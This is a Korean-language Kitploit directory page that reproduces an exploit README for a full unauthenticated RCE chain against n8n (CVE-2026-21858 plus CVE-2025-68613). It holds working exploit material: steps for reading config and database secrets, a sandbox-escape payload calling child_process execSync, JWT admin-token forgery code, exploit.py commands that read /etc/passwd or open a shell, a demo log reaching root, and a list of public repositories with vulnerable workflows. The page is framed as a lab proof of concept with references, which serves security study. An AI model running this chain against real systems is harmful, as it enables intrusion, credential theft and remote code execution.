Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2026-21858 — CVE-2026-21858용 POC | Kitploit
도구/GitHubGitHub/fomovet/cve-2026-21858
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingPayload Development
GitHubfomovet/cve-2026-21858

cve-2026-21858

CVE-2026-21858용 POC

저장소 보기
112개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-21858 + CVE-2025-68613 - n8n 전체 체인

인증되지 않은 임의 파일 읽기 → 관리자 토큰 위조 → 샌드박스 우회 → RCE

요약

n8n에 대한 완전한 인증되지 않은 RCE 체인:

  1. CVE-2026-21858 - Content-Type 혼란 → 임의 파일 읽기
  2. 구성 + 데이터베이스 읽기 → 관리자 JWT 위조
  3. CVE-2025-68613 - 표현식 삽입 → 샌드박스 우회 → RCE

탐지

노출은 버전 기반입니다. 노출 측면에서, 취약한 n8n 인스턴스가 공개적으로 접근 가능합니다.

LeakIX 결과: 노출된 인스턴스 보기

LeakIX Detection Results

이 익스플로잇의 특징?

이 익스플로잇은 Cyera 글과 독립적으로 개발되었습니다 (완료 후 발견). 주요 차이점:

두 접근 방식 모두 특정 워크플로우 구성이 필요합니다. Cyera는 채팅 + AI 통합이 필요하며, 이 익스플로잇은 응답 노드가 있는 폼이 필요합니다. 자세한 내용은 제한사항을 참조하세요.

공격 체인

root@kitploit:~
┌───────────────────────────────────────────────────────────┐
│                     인증되지 않음                         │
├───────────────────────────────────────────────────────────┤
│  1. /proc/self/environ 읽기 → HOME 디렉터리 찾기          │
│  2. $HOME/.n8n/config 읽기 → encryptionKey 획득            │
│  3. $HOME/.n8n/database.sqlite 읽기 → 관리자 자격 증명 획득 │
├───────────────────────────────────────────────────────────┤
│                      토큰 위조                            │
├───────────────────────────────────────────────────────────┤
│  4. encryptionKey에서 JWT 비밀 키 유도                     │
│  5. 관리자 세션 쿠키 위조                                  │
├───────────────────────────────────────────────────────────┤
│                    인증된 RCE                              │
├───────────────────────────────────────────────────────────┤
│  6. 표현식 삽입이 포함된 워크플로우 생성                   │
│  7. this.process.mainModule.require를 통한 샌드박스 우회  │
│  8. 임의 명령 실행                                        │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 - Content-Type 혼란을 통한 임의 파일 읽기

패치

root@kitploit:~
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

전설적인 "Merge commit from fork" - 이걸 보면, 누군가 매운 걸 찾은 겁니다. 🌶️

원인

root@kitploit:~
// BEFORE (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// AFTER (fixed)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

Content-Type: application/json 전송 → filepath 제어 → 모든 파일 읽기.

CVE-2025-68613 - 표현식 삽입 RCE

이 우회 방법의 이유?

n8n은 vm2/isolated-vm을 사용하여 사용자 코드(코드 노드, 표현식)를 샌드박싱합니다. 다른 RCE 벡터:

기술상태
Execute Command Node기본적으로 비활성화 (N8N_ALLOW_EXEC_COMMAND=false)
SSH/HTTP 노드원격 서버에서 실행, n8n 호스트가 아님

기본 설정으로 모든 n8n에서 작동하기 때문에 표현식 삽입을 사용했습니다. 특별한 노드나 구성이 필요하지 않습니다. Pyodide 우회(CVE-2025-68668)는 모든 인스턴스에서 사용 가능하지 않을 수 있는 Python 코드 노드가 필요합니다.

페이로드

root@kitploit:~
={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

n8n 표현식은 this.process.mainModule.require에 접근할 수 있습니다 → 완전한 샌드박스 탈출.

토큰 위조

root@kitploit:~
# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

실습 환경 설정

root@kitploit:~
docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: [email protected] / ExploitLab123!

사용법

root@kitploit:~
# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

데모

root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n 전체 체인          ║
║     임의 파일 읽기 → 토큰 위조 → 샌드박스 우회 → RCE         ║
╚═══════════════════════════════════════════════════════════════╝

[*] 대상: http://localhost:5678/form/vulnerable-form
[*] 버전: 1.65.0 (취약)
[x] HOME 디렉터리
[+] HOME 디렉터리: /root
[x] 암호화 키
[+] 암호화 키: yusrXZV1...
[x] 데이터베이스
[+] 데이터베이스: 1327104 바이트
[x] 관리자 사용자
[+] 관리자 사용자: [email protected]
[x] 토큰 위조
[+] 토큰 위조: 성공
[x] 관리자 접근
[+] 관리자 접근: 허용됨!
[+] 쿠키: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: 성공

uid=0(root) gid=0(root) groups=0(root)

제한사항

이것은 "모든 n8n을 해킹하는" 익스플로잇이 아닙니다. 작동하려면 특정 조건이 필요합니다:

요구 사항설명
파일 업로드가 있는 폼대상에 파일 업로드 필드가 있는 폼 워크플로우가 있어야 함
웹훅에 응답 노드워크플로우가 HTTP 응답에 파일 내용을 반환해야 함

취약한 워크플로우 구성 예시:

root@kitploit:~
{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}

핵심 요소는 fieldType: "file" + respondWith: "binary"입니다. 이 패턴은 파일 처리 워크플로우(변환기, 이미지 리사이저, 문서 처리기)에서 일반적입니다.

작동하는 경우:

  • 응답 노드가 있는 폼 (파일 변환기, 프로세서)
  • 기본 n8n 설치 (표현식 삽입 차단되지 않음)
  • 로컬/Docker 배포 (데이터베이스 및 구성이 디스크에 저장됨)

작동하지 않는 경우:

  • 응답 노드가 없는 폼 (파일은 읽히지만 HTTP 응답에 내용이 반환되지 않음)
  • 인증이 필요한 폼
  • n8n Cloud (다른 아키텍처, 로컬 파일 접근 불가)
  • 패치된 버전 (>= 1.121.0)

참고: 취약점(임의 파일 읽기)은 추출 방법에 관계없이 트리거됩니다. Respond 노드는 콘텐츠를 검색하는 한 가지 방법일 뿐입니다. 대체 방법(OOB, 다른 출력 노드)은 워크플로우 구성에 따라 작동할 수 있습니다.

블라인드 익스플로잇: 응답 노드가 없어도 n8n은 파일을 읽지만 HTTP 응답을 통해 추출할 수 없습니다. 대체 기술(OOB, 타이밍)이 필요합니다.

실제 사례

취약한 패턴(Form Trigger + 파일 업로드 + Respond to Webhook)은 공개 GitHub 저장소에 존재합니다.

참고: 인기 있는 n8n 워크플로우 저장소(100⭐ 이상)는 이 패턴을 사용하지 않습니다. 다음은 커뮤니티/개인 프로젝트입니다:

이는 커뮤니티 기여 워크플로우입니다. 공식 n8n.io 템플릿 중 이 취약한 패턴을 사용하는 것은 없습니다.

참고 자료

  • Vulhub 환경 - Vulhub에서 바로 사용 가능한 실습 환경
  • Cyera 연구 - Ni8mare 전체 보고서 - Dor Attias의 원본 연구
  • GHSA-v4pr-fm98-w9pg - CVE-2026-21858
  • GHSA-v98v-ff95-f3cp - CVE-2025-68613
  • Nuclei 템플릿 CVE-2025-68613
  • LeakIX 검색 결과 - 노출된 취약한 인스턴스
  • Formidable - "라이브러리이지 노래가 아닙니다" (웃음을 준 Cyera에게 감사)
도구 다운로드
CVECVE-2026-21858 (AFR) + CVE-2025-68613 (RCE)
CVSS10.0 + 9.9 (심각)
영향 받는 버전<= 1.65.0 (AFR) / >= 0.211.0 (RCE)
수정된 버전1.121.0 (AFR) / 1.120.4+ (RCE)
공개일2026-01-07 11:09 UTC
코드명Ni8mare
발견자Dor Attias (Cyera)
익스플로잇Chocapikk
과정AI 자동화: 패치 차이 → 재현 → 실습 → 익스플로잇 (~공개 후 9시간)
유형개념 증명 - 보편적인 익스플로잇이 아님 (특정 워크플로우 구성 필요, 제한사항 참조)
Cyera (원본 연구)이 익스플로잇
파일 읽기AI 지식 베이스에 로드 → 채팅을 통해 질의직접 HTTP 응답
사전 조건채팅 워크플로우 + AI 통합파일 업로드가 있는 모든 폼
RCE 방법"명령 실행" 노드 (기본적으로 비활성화됨)표현식 삽입 (기본 설치에서 작동)
자동화수동/개념 데모완전 자동화된 Python 스크립트
Pyodide 샌드박스 이스케이프CVE-2025-68668 - Python 코드 노드 필요
표현식 삽입CVE-2025-68613 - 기본 설치에서 작동
워크플로우 활성화
폼 워크플로우가 활성화되어 있어야 함
인증되지 않은 접근폼이 공개적으로 접근 가능해야 함 (인증 없음)
워크플로우 파일파일 필드respondWith
ifcpipeline/.../ifcpipeline.jsonIDS, IFC (x2)binary ⚠️
nano-banana-studio/.../03_multi_asset_processor.jsonImages, Audio, Markdownjson
ticket-omnichannel-chat/.../Knowledge_base.jsonDocument(PDF)text
ai_resume_project/resume_rag.jsonFile UploadallIncomingItems
fkgpt-portfolio/.../audio-transcription-analysis.jsonAudio Filetext
n8n-backup/.../K3DwHQs0fnnm5UK0.jsonfiletext
voltixLandingPage/.../chatbotvoltix.jsonUpload Filedefault
n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.jsonfiledefault
8n8Workflows/.../3WoSqiBnZ56RtWMb.jsonUpload your documentdefault
learn_earn_ai_insta/.../My workflow.jsonupload your filedefault
finintworkshop/.../API using n8n (ToT).jsonfilejson